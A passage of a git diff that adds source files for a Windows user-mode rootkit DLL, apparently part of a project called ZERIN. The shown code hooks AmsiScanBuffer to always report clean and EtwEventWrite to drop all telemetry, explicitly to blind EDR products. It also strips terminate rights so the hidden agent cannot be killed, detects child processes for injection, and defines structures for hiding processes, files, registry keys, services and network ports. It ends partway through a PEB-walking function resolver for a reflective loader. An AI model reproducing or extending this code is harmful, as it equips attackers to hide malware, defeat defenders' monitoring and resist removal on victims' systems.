AmsiScanBuffer — AMSI bypass + * + * Always returns AMSI_RESULT_CLEAN so that scripts executed by the + * agent are not flagged by antimalware providers. + * ============================================================================ */ + +static HRESULT WINAPI HookedAmsiScanBuffer( + PVOID amsiContext, + PVOID buffer, + ULONG length, + LPCWSTR contentName, + PVOID amsiSession, + AMSI_RESULT *result) +{ + (void)amsiContext; + (void)buffer; + (void)length; + (void)contentName; + (void)amsiSession; + + if (result) *result = AMSI_RESULT_CLEAN; + return S_OK; +} + +/* ============================================================================ + * HOOK 9: NtResumeThread — Child process injection via shared memory + * + * Every new process starts with its initial thread suspended. The parent + * calls NtResumeThread to begin execution. We intercept this to detect + * child process creation and notify the agent process via a shared memory + * ring buffer + event object. + * + * Distinguishing "new process initial thread" from regular ResumeThread: + * - Query the thread's owning PID via NtQueryInformationThread + * - If the PID differs from our own and is not in the recent-PID cache, + * it's a new child process + * - A small static cache avoids repeated notifications for the same PID + * ============================================================================ */ + +/* Recent PID cache to avoid duplicate notifications */ +#define RK_PID_CACHE_SIZE 64 +static DWORD g_RecentPids[RK_PID_CACHE_SIZE]; +static volatile LONG g_RecentPidIdx = 0; + +/* Shared memory handles declared at file top (near other statics) for early use */ + +static BOOL IsRecentPid(DWORD pid) { + for (int i = 0; i < RK_PID_CACHE_SIZE; i++) { + if (g_RecentPids[i] == pid) return TRUE; + } + return FALSE; +} + +static void AddRecentPid(DWORD pid) { + LONG idx = InterlockedIncrement(&g_RecentPidIdx) - 1; + g_RecentPids[(unsigned)idx % RK_PID_CACHE_SIZE] = pid; +} + +static NTSTATUS NTAPI HookedNtResumeThread( + HANDLE ThreadHandle, + PULONG PreviousSuspendCount) +{ + /* Call the original first — let the thread resume regardless of our logic */ + NTSTATUS status = OriginalNtResumeThread(ThreadHandle, PreviousSuspendCount); + + /* Only act on successful resume where thread was previously suspended (count > 0) */ + if (status != 0) return status; + + /* Quick filter: if PreviousSuspendCount was provided and is > 1, this isn't + * an initial thread resume (initial threads have suspend count = 1) */ + if (PreviousSuspendCount && *PreviousSuspendCount > 1) return status; + + /* Query the thread's owning PID */ + static pfnNtQueryInformationThread fnNtQIT = NULL; + if (!fnNtQIT) { + fnNtQIT = (pfnNtQueryInformationThread)GetProcAddress( + GetModuleHandleA("ntdll.dll"), "NtQueryInformationThread"); + if (!fnNtQIT) return status; + } + + NT_THREAD_BASIC_INFORMATION tbi; + ULONG retLen = 0; + NTSTATUS qStatus = fnNtQIT(ThreadHandle, 0 /* ThreadBasicInformation */, + &tbi, sizeof(tbi), &retLen); + if (qStatus != 0) return status; + + DWORD childPid = (DWORD)(ULONG_PTR)tbi.ClientId.UniqueProcess; + DWORD myPid = GetCurrentProcessId(); + + /* Skip if this is our own process or PID 0/4 */ + if (childPid == myPid || childPid == 0 || childPid == 4) return status; + + /* Skip if we've already notified about this PID recently */ + if (IsRecentPid(childPid)) return status; + + /* New child PID detected — write to shared memory ring buffer */ + AddRecentPid(childPid); + + /* Open shared memory section (cached handle for performance). + * Spinlock prevents multiple threads from racing on the lazy init + * and leaking duplicate handles. */ + if (!g_RkHookShm) { + if (InterlockedCompareExchange(&g_RkShmInitLock, 1, 0) != 0) + return status; /* Another thread is initializing — skip this notification */ + + if (!g_RkHookShm) { /* Double-check after acquiring lock */ + HANDLE hMap = OpenFileMappingW(FILE_MAP_WRITE, FALSE, RK_SHM_NAME); + if (!hMap) { + InterlockedExchange(&g_RkShmInitLock, 0); + return status; /* Agent hasn't created SHM yet */ + } + PRK_SHM pShm = (PRK_SHM)MapViewOfFile(hMap, FILE_MAP_WRITE, 0, 0, sizeof(RK_SHM)); + if (!pShm) { + CloseHandle(hMap); + InterlockedExchange(&g_RkShmInitLock, 0); + return status; + } + g_RkHookShmHandle = hMap; + MemoryBarrier(); + g_RkHookShm = pShm; /* Publish pointer last so readers see valid mapping */ + } + InterlockedExchange(&g_RkShmInitLock, 0); + } + + if (!g_RkHookEvtHandle) { + HANDLE hEvt = OpenEventW(EVENT_MODIFY_STATE, FALSE, RK_EVT_NAME); + /* Atomic swap — if another thread beat us, close our duplicate */ + if (hEvt) { + HANDLE prev = InterlockedCompareExchangePointer(&g_RkHookEvtHandle, hEvt, NULL); + if (prev) CloseHandle(hEvt); /* Another thread won the race */ + } + } + + /* Lock-free write: atomically claim a slot in the ring buffer */ + LONG slot = InterlockedIncrement(&g_RkHookShm->write_idx) - 1; + g_RkHookShm->pids[(unsigned)slot % RK_SHM_RING_SIZE] = childPid; + + /* Signal the agent's listener thread */ + if (g_RkHookEvtHandle) { + SetEvent(g_RkHookEvtHandle); + } + + return status; +} + +/* ============================================================================ + * HOOK 10: NtOpenProcess — Kill protection + * + * Strips PROCESS_TERMINATE and other dangerous access rights when the + * target PID matches the hidden agent process. This prevents Task Manager, + * taskkill, and other tools from killing the agent. + * ============================================================================ */ + +static NTSTATUS NTAPI HookedNtOpenProcess( + PHANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + CLIENT_ID *ClientId) +{ + if (ClientId && g_RkHookShm && g_RkHookShm->hide_pid != 0) { + DWORD target_pid = (DWORD)(ULONG_PTR)ClientId->UniqueProcess; + if (target_pid == g_RkHookShm->hide_pid) { + DesiredAccess &= ~(PROCESS_TERMINATE | PROCESS_SUSPEND_RESUME | + PROCESS_VM_WRITE | PROCESS_VM_OPERATION | + PROCESS_CREATE_THREAD); + } + } + return OriginalNtOpenProcess(ProcessHandle, DesiredAccess, ObjectAttributes, ClientId); +} + +/* ============================================================================ + * HOOK 11: EtwEventWrite — ETW blinding + * + * Modern EDRs (CrowdStrike, SentinelOne, Elastic, etc.) rely heavily on + * ETW (Event Tracing for Windows) for process, thread, image load, and + * registry telemetry. By hooking ntdll!EtwEventWrite and returning + * STATUS_SUCCESS without calling the original, we blind all user-mode + * ETW providers in the injected process. + * + * r77 does NOT implement this — it's a detection gap we close. + * ============================================================================ */ + +static ULONG NTAPI HookedEtwEventWrite( + PVOID RegHandle, + PVOID EventDescriptor, + ULONG UserDataCount, + PVOID UserData) +{ + (void)RegHandle; + (void)EventDescriptor; + (void)UserDataCount; + (void)UserData; + return 0; /* STATUS_SUCCESS — event silently dropped */ +} + +/* ============================================================================ + * Hook Installation / Teardown + * ============================================================================ */ + +void InitializeHooks(void) { + HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); + HMODULE hAdvapi32 = GetModuleHandleA("advapi32.dll"); + HMODULE hSechost = GetModuleHandleA("sechost.dll"); + HMODULE hAmsi = GetModuleHandleA("amsi.dll"); + + if (!hNtdll) return; + + /* Initialize registry cache lock */ + EnsureRegCacheLockInit(); + + /* Resolve NtQueryKey for registry helpers */ + OrigNtQueryKey = (pfnNtQueryKey)GetProcAddress(hNtdll, "NtQueryKey"); + + /* === Hook 1: NtQuerySystemInformation === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtQuerySystemInformation"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtQuerySystemInformation, + (LPVOID *)&OriginalNtQuerySystemInformation); + } + } + + /* === Hook 2: NtQueryDirectoryFile === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtQueryDirectoryFile"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtQueryDirectoryFile, + (LPVOID *)&OriginalNtQueryDirectoryFile); + } + } + + /* === Hook 3: NtQueryDirectoryFileEx (Win10 RS3+, may not exist) === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtQueryDirectoryFileEx"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtQueryDirectoryFileEx, + (LPVOID *)&OriginalNtQueryDirectoryFileEx); + } + } + + /* === Hook 4: NtEnumerateKey === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtEnumerateKey"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtEnumerateKey, + (LPVOID *)&OriginalNtEnumerateKey); + } + } + + /* === Hook 5: NtEnumerateValueKey === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtEnumerateValueKey"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtEnumerateValueKey, + (LPVOID *)&OriginalNtEnumerateValueKey); + } + } + + /* === Hook 6: NtDeviceIoControlFile === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtDeviceIoControlFile"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtDeviceIoControlFile, + (LPVOID *)&OriginalNtDeviceIoControlFile); + } + } + + /* === Hook 7a: EnumServicesStatusExW from advapi32.dll === */ + if (hAdvapi32) { + LPVOID target = (LPVOID)GetProcAddress(hAdvapi32, "EnumServicesStatusExW"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedEnumServicesStatusExW_Advapi32, + (LPVOID *)&OriginalEnumServicesStatusExW_Advapi32); + } + } + + /* === Hook 7b: EnumServicesStatusExW from sechost.dll === */ + if (hSechost) { + LPVOID target = (LPVOID)GetProcAddress(hSechost, "EnumServicesStatusExW"); + if (target) { + /* Only hook if it's a different address than advapi32's + * (advapi32 may just forward to sechost) */ + LPVOID advapiTarget = hAdvapi32 ? + (LPVOID)GetProcAddress(hAdvapi32, "EnumServicesStatusExW") : NULL; + if (target != advapiTarget) { + MH_CreateHook(target, (LPVOID)HookedEnumServicesStatusExW_Sechost, + (LPVOID *)&OriginalEnumServicesStatusExW_Sechost); + } + } + } + + /* === Hook 9: NtResumeThread (child process injection) === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtResumeThread"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtResumeThread, + (LPVOID *)&OriginalNtResumeThread); + } + } + + /* === Hook 10: NtOpenProcess (kill protection) === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "NtOpenProcess"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedNtOpenProcess, + (LPVOID *)&OriginalNtOpenProcess); + } + } + + /* === Hook 11: EtwEventWrite (ETW blinding) === */ + { + LPVOID target = (LPVOID)GetProcAddress(hNtdll, "EtwEventWrite"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedEtwEventWrite, + (LPVOID *)&OriginalEtwEventWrite); + } + } + + /* === Hook 8: AmsiScanBuffer (amsi.dll may not be loaded yet) === */ + if (hAmsi) { + LPVOID target = (LPVOID)GetProcAddress(hAmsi, "AmsiScanBuffer"); + if (target) { + MH_CreateHook(target, (LPVOID)HookedAmsiScanBuffer, + (LPVOID *)&OriginalAmsiScanBuffer); + } + } + + /* Enable all created hooks at once */ + MH_EnableHook(MH_ALL_HOOKS); +} + +void UninitializeHooks(void) { + MH_DisableHook(MH_ALL_HOOKS); + + /* Clean up NtResumeThread shared memory handles */ + if (g_RkHookShm) { + UnmapViewOfFile(g_RkHookShm); + g_RkHookShm = NULL; + } + if (g_RkHookShmHandle) { + CloseHandle(g_RkHookShmHandle); + g_RkHookShmHandle = NULL; + } + if (g_RkHookEvtHandle) { + CloseHandle(g_RkHookEvtHandle); + g_RkHookEvtHandle = NULL; + } + + /* Clean up registry cache critical section */ + if (g_RegCacheLockInit) { + DeleteCriticalSection(&g_RegCacheLock); + g_RegCacheLockInit = FALSE; + InterlockedExchange(&g_RegCacheLockInitFlag, 0); + } +} diff --git a/src/rootkit_dll/hooks.h b/src/rootkit_dll/hooks.h new file mode 100755 index 0000000..ec4fbb9 --- /dev/null +++ b/src/rootkit_dll/hooks.h @@ -0,0 +1,509 @@ +#ifndef ZERIN_RK_HOOKS_H +#define ZERIN_RK_HOOKS_H + +#include +#include + +/* ============================================================================ + * NT Enumerations and Defines + * ============================================================================ */ + +// SYSTEM_INFORMATION_CLASS values +#define SystemProcessInformation 5 +#define SystemProcessorPerformanceInformation 8 + +// FILE_INFORMATION_CLASS values used by NtQueryDirectoryFile +#define FileDirectoryInformation 1 +#define FileFullDirectoryInformation 2 +#define FileBothDirectoryInformation 3 +#define FileNamesInformation 12 +#define FileIdBothDirectoryInformation 37 +#define FileIdFullDirectoryInformation 38 + +// KEY_INFORMATION_CLASS +typedef enum _NT_KEY_INFORMATION_CLASS { + KeyBasicInformation = 0, + KeyNodeInformation = 1, + KeyFullInformation = 2, + KeyNameInformation = 3, + KeyCachedInformation = 4, + KeyFlagsInformation = 5, + KeyVirtualizationInformation = 6, + KeyHandleTagsInformation = 7, + KeyTrustInformation = 8, + KeyLayerInformation = 9 +} NT_KEY_INFORMATION_CLASS; + +// KEY_VALUE_INFORMATION_CLASS +typedef enum _NT_KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation = 0, + KeyValueFullInformation = 1, + KeyValuePartialInformation = 2, + KeyValueFullInformationAlign64 = 3, + KeyValuePartialInformationAlign64 = 4, + KeyValueLayerInformation = 5 +} NT_KEY_VALUE_INFORMATION_CLASS; + +// IOCTL for NSI device +#define IOCTL_NSI_GETALLPARAM 0x12001B + +/* ============================================================================ + * NT Structures: Process Information + * ============================================================================ */ + +typedef struct _NT_SYSTEM_PROCESS_INFORMATION { + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER WorkingSetPrivateSize; + ULONG HardFaultCount; + ULONG NumberOfThreadsHighWatermark; + ULONGLONG CycleTime; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + LONG BasePriority; + HANDLE UniqueProcessId; + HANDLE InheritedFromUniqueProcessId; + ULONG HandleCount; + ULONG SessionId; + ULONG_PTR UniqueProcessKey; + SIZE_T PeakVirtualSize; + SIZE_T VirtualSize; + ULONG PageFaultCount; + SIZE_T PeakWorkingSetSize; + SIZE_T WorkingSetSize; + SIZE_T QuotaPeakPagedPoolUsage; + SIZE_T QuotaPagedPoolUsage; + SIZE_T QuotaPeakNonPagedPoolUsage; + SIZE_T QuotaNonPagedPoolUsage; + SIZE_T PagefileUsage; + SIZE_T PeakPagefileUsage; + SIZE_T PrivatePageCount; + LARGE_INTEGER ReadOperationCount; + LARGE_INTEGER WriteOperationCount; + LARGE_INTEGER OtherOperationCount; + LARGE_INTEGER ReadTransferCount; + LARGE_INTEGER WriteTransferCount; + LARGE_INTEGER OtherTransferCount; +} NT_SYSTEM_PROCESS_INFORMATION, *PNT_SYSTEM_PROCESS_INFORMATION; + +typedef struct _NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION { + LARGE_INTEGER IdleTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER DpcTime; + LARGE_INTEGER InterruptTime; + ULONG InterruptCount; +} NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION, *PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION; + +/* ============================================================================ + * NT Structures: File/Directory Information + * ============================================================================ */ + +typedef struct _NT_FILE_DIRECTORY_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_DIRECTORY_INFORMATION, *PNT_FILE_DIRECTORY_INFORMATION; + +typedef struct _NT_FILE_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + WCHAR FileName[1]; +} NT_FILE_FULL_DIR_INFORMATION, *PNT_FILE_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} NT_FILE_BOTH_DIR_INFORMATION, *PNT_FILE_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_BOTH_DIR_INFORMATION, *PNT_FILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _NT_FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} NT_FILE_ID_FULL_DIR_INFORMATION, *PNT_FILE_ID_FULL_DIR_INFORMATION; + +typedef struct _NT_FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} NT_FILE_NAMES_INFORMATION, *PNT_FILE_NAMES_INFORMATION; + +/* ============================================================================ + * NT Structures: Registry Key/Value Information + * ============================================================================ */ + +typedef struct _NT_KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_BASIC_INFORMATION, *PNT_KEY_BASIC_INFORMATION; + +typedef struct _NT_KEY_NODE_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_NODE_INFORMATION, *PNT_KEY_NODE_INFORMATION; + +typedef struct _NT_KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} NT_KEY_FULL_INFORMATION, *PNT_KEY_FULL_INFORMATION; + +typedef struct _NT_KEY_CACHED_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + ULONG NameLength; +} NT_KEY_CACHED_INFORMATION, *PNT_KEY_CACHED_INFORMATION; + +typedef struct _NT_KEY_NAME_INFORMATION { + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_NAME_INFORMATION, *PNT_KEY_NAME_INFORMATION; + +typedef struct _NT_KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_BASIC_INFORMATION, *PNT_KEY_VALUE_BASIC_INFORMATION; + +typedef struct _NT_KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; +} NT_KEY_VALUE_FULL_INFORMATION, *PNT_KEY_VALUE_FULL_INFORMATION; + +/* ============================================================================ + * NT Structures: NSI (Network Store Interface) for port hiding + * ============================================================================ */ + +// NSI parameter type for IOCTL (matches r77's NSIPARAMS layout) +// IMPORTANT: First two fields are DWORD, not SIZE_T. Using SIZE_T +// shifts all fields by 8 bytes on x64 and breaks port hiding. +typedef struct _NT_NSI_PARAM { + DWORD Size; + DWORD Unknown1; + LPVOID ModuleId; + DWORD ObjectIndex; + DWORD Unknown2; + LPVOID Entries; + DWORD EntrySize; + LPVOID Unknown3; + DWORD Unknown4; + LPVOID ProcessEntries; + DWORD ProcessEntrySize; + LPVOID StatusEntries; + DWORD StatusEntrySize; + DWORD Count; + DWORD Unknown5; +} NT_NSI_PARAM, *PNT_NSI_PARAM; + +// TCP entry in NSI table (IPv4) +typedef struct _NT_NSI_TCP_ENTRY { + BYTE Unknown1[2]; + USHORT LocalPort; + ULONG LocalAddr; + BYTE Unknown2[4]; + BYTE Unknown3[2]; + USHORT RemotePort; + ULONG RemoteAddr; + BYTE Unknown4[4]; +} NT_NSI_TCP_ENTRY, *PNT_NSI_TCP_ENTRY; + +// TCP6 entry in NSI table (IPv6) +typedef struct _NT_NSI_TCP6_ENTRY { + BYTE Unknown1[2]; + USHORT LocalPort; + BYTE LocalAddr[16]; + ULONG LocalScopeId; + BYTE Unknown2[2]; + USHORT RemotePort; + BYTE RemoteAddr[16]; + ULONG RemoteScopeId; +} NT_NSI_TCP6_ENTRY, *PNT_NSI_TCP6_ENTRY; + +// UDP entry in NSI table (IPv4) +typedef struct _NT_NSI_UDP_ENTRY { + BYTE Unknown1[2]; + USHORT LocalPort; + ULONG LocalAddr; + BYTE Unknown2[4]; +} NT_NSI_UDP_ENTRY, *PNT_NSI_UDP_ENTRY; + +// UDP6 entry +typedef struct _NT_NSI_UDP6_ENTRY { + BYTE Unknown1[2]; + USHORT LocalPort; + BYTE LocalAddr[16]; + ULONG LocalScopeId; +} NT_NSI_UDP6_ENTRY, *PNT_NSI_UDP6_ENTRY; + +// Process entry associated with a connection +typedef struct _NT_NSI_PROCESS_ENTRY { + ULONG UdpUnknown; + ULONG ProcessId; + ULONG CreateTimestamp; + ULONG OwningModuleInfo[16]; // ULONGLONG[16] / ULONG[16] depending on struct version +} NT_NSI_PROCESS_ENTRY, *PNT_NSI_PROCESS_ENTRY; + +// Status entry associated with a connection +typedef struct _NT_NSI_STATUS_ENTRY { + ULONG State; + BYTE Unknown[8]; +} NT_NSI_STATUS_ENTRY, *PNT_NSI_STATUS_ENTRY; + +// NSI module IDs for TCP/UDP +// These are GUIDs used by NsiGetAllParameters +static const BYTE NSI_TCP_MODULEID[] = { 0x18, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x03, 0x4a, 0x00, 0xeb, 0x1a, 0x9b, 0xd4, 0x11, + 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xbc }; +static const BYTE NSI_UDP_MODULEID[] = { 0x18, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, + 0x03, 0x4a, 0x00, 0xeb, 0x1a, 0x9b, 0xd4, 0x11, + 0x91, 0x23, 0x00, 0x50, 0x04, 0x77, 0x59, 0xbc }; + +/* ============================================================================ + * AMSI structures + * ============================================================================ */ + +typedef enum _AMSI_RESULT { + AMSI_RESULT_CLEAN = 0, + AMSI_RESULT_NOT_DETECTED = 1, + AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000, + AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4FFF, + AMSI_RESULT_DETECTED = 32768 +} AMSI_RESULT; + +/* ============================================================================ + * ENUM_SERVICE_STATUS_PROCESSW for service hiding + * ============================================================================ */ + +// Already defined in windows.h, but forward-declare the struct we use +// We rely on ENUM_SERVICE_STATUS_PROCESSW + +/* ============================================================================ + * Function pointer typedefs for hooked APIs + * ============================================================================ */ + +// ntdll +typedef NTSTATUS (NTAPI *pfnNtQuerySystemInformation)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength +); + +typedef NTSTATUS (NTAPI *pfnNtQueryDirectoryFile)( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass, + BOOLEAN ReturnSingleEntry, + PUNICODE_STRING FileName, + BOOLEAN RestartScan +); + +typedef NTSTATUS (NTAPI *pfnNtQueryDirectoryFileEx)( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + PVOID FileInformation, + ULONG Length, + ULONG FileInformationClass, + ULONG QueryFlags, + PUNICODE_STRING FileName +); + +typedef NTSTATUS (NTAPI *pfnNtEnumerateKey)( + HANDLE KeyHandle, + ULONG Index, + NT_KEY_INFORMATION_CLASS KeyInformationClass, + PVOID KeyInformation, + ULONG Length, + PULONG ResultLength +); + +typedef NTSTATUS (NTAPI *pfnNtEnumerateValueKey)( + HANDLE KeyHandle, + ULONG Index, + NT_KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + PVOID KeyValueInformation, + ULONG Length, + PULONG ResultLength +); + +typedef NTSTATUS (NTAPI *pfnNtQueryKey)( + HANDLE KeyHandle, + NT_KEY_INFORMATION_CLASS KeyInformationClass, + PVOID KeyInformation, + ULONG Length, + PULONG ResultLength +); + +typedef NTSTATUS (NTAPI *pfnNtDeviceIoControlFile)( + HANDLE FileHandle, + HANDLE Event, + PIO_APC_ROUTINE ApcRoutine, + PVOID ApcContext, + PIO_STATUS_BLOCK IoStatusBlock, + ULONG IoControlCode, + PVOID InputBuffer, + ULONG InputBufferLength, + PVOID OutputBuffer, + ULONG OutputBufferLength +); + +// advapi32 / sechost +typedef BOOL (WINAPI *pfnEnumServicesStatusExW)( + SC_HANDLE hSCManager, + SC_ENUM_TYPE InfoLevel, + DWORD dwServiceType, + DWORD dwServiceState, + LPBYTE lpServices, + DWORD cbBufSize, + LPDWORD pcbBytesNeeded, + LPDWORD lpServicesReturned, + LPDWORD lpResumeHandle, + LPCWSTR pszGroupName +); + +// ntdll — NtOpenProcess (kill protection) +typedef NTSTATUS (NTAPI *pfnNtOpenProcess)( + PHANDLE ProcessHandle, + ACCESS_MASK DesiredAccess, + POBJECT_ATTRIBUTES ObjectAttributes, + CLIENT_ID *ClientId +); + +// ntdll — NtResumeThread (child process injection) +typedef NTSTATUS (NTAPI *pfnNtResumeThread)( + HANDLE ThreadHandle, + PULONG PreviousSuspendCount +); + +// ntdll — NtQueryInformationThread (get owning PID from thread) +typedef NTSTATUS (NTAPI *pfnNtQueryInformationThread)( + HANDLE ThreadHandle, + ULONG ThreadInformationClass, + PVOID ThreadInformation, + ULONG ThreadInformationLength, + PULONG ReturnLength +); + +// ThreadBasicInformation (class 0) output structure +typedef struct _NT_THREAD_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + struct { + HANDLE UniqueProcess; + HANDLE UniqueThread; + } ClientId; + ULONG_PTR AffinityMask; + LONG Priority; + LONG BasePriority; +} NT_THREAD_BASIC_INFORMATION, *PNT_THREAD_BASIC_INFORMATION; + +// amsi +typedef HRESULT (WINAPI *pfnAmsiScanBuffer)( + PVOID amsiContext, + PVOID buffer, + ULONG length, + LPCWSTR contentName, + PVOID amsiSession, + AMSI_RESULT *result +); + +/* ============================================================================ + * Hook initialization / teardown + * ============================================================================ */ + +void InitializeHooks(void); +void UninitializeHooks(void); + +#endif // ZERIN_RK_HOOKS_H diff --git a/src/rootkit_dll/peb.c b/src/rootkit_dll/peb.c new file mode 100755 index 0000000..9c7beec --- /dev/null +++ b/src/rootkit_dll/peb.c @@ -0,0 +1,111 @@ +/* + * peb.c - PEB-based function resolution for reflective loader + * + * Uses ROR13 hash (matching r77 convention) to resolve module handles + * and exported function addresses without relying on any imports. + * This is used by the reflective loader (reflective.c) which must be + * fully position-independent. + */ + +#include +#include + +/* ============================================================================ + * NT structures for PEB walking (minimal, for reflective loader use) + * ============================================================================ */ + +typedef struct _RK_LDR_DATA_TABLE_ENTRY { + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID DllBase; + LPVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; +} RK_LDR_DATA_TABLE_ENTRY, *PRK_LDR_DATA_TABLE_ENTRY; + +typedef struct _RK_PEB_LDR_DATA { + DWORD Length; + DWORD Initialized; + LPVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; +} RK_PEB_LDR_DATA, *PRK_PEB_LDR_DATA; + +typedef struct _RK_PEB { + BYTE Reserved1[2]; + BYTE BeingDebugged; + BYTE Reserved2; +#ifdef _WIN64 + BYTE Reserved3[4]; +#endif + LPVOID Reserved4[2]; + PRK_PEB_LDR_DATA Ldr; +} RK_PEB, *PRK_PEB; + +/* ============================================================================ + * ROR13 hash-based module lookup (matches r77 convention) + * + * Walks the PEB's InMemoryOrderModuleList and computes a ROR13 hash + * of each module's BaseDllName. The hash is computed over the raw bytes + * of the UNICODE_STRING buffer (treating each char as its low byte, + * uppercased) to match r77's implementation. + * ============================================================================ */ + +LPVOID PebGetModuleHandle(DWORD moduleHash) { +#ifdef _WIN64 + PRK_PEB_LDR_DATA ldr = ((PRK_PEB)__readgsqword(0x60))->Ldr; +#else + PRK_PEB_LDR_DATA ldr = ((PRK_PEB)__readfsdword(0x30))->Ldr; +#endif + + PRK_LDR_DATA_TABLE_ENTRY first = (PRK_LDR_DATA_TABLE_ENTRY)ldr->InMemoryOrderModuleList.Flink; + PRK_LDR_DATA_TABLE_ENTRY entry = first; + + do { + DWORD hash = 0; + if (entry->BaseDllName.Buffer) { + for (USHORT i 